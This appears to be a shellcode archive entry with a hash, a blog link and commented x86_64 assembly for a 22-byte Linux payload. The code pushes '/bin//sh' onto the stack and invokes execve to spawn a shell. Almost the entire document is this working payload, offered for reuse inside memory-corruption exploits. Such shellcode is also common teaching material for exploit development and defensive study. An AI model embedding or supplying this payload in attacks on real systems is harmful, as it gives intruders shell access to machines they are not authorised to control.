Linux/x86_64 execve /bin/sh Shellcode

22 bytes small Linux/x86_64 execve /bin/sh shellcode.


MD5 | 15f4dcabbeb1a190cfb366917b58685d

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; For a detailed explanation of this shellcode see my blog post:
; http://a41l4.blogspot.ca/2017/01/execvestack1434.html
global _start

section .text

_start:
; zeros RAX, RDX and RSI with only 4 bytes of machine code
xor esi,esi
mul esi

; null terminator for the following string
push rax

; push /bin//sh in reverse
mov rbx,'/bin//sh'
push rbx

; store /bin//sh address in RDI, points at string
push rsp
pop rdi

; Call the Execve syscall
mov al, 59
syscall


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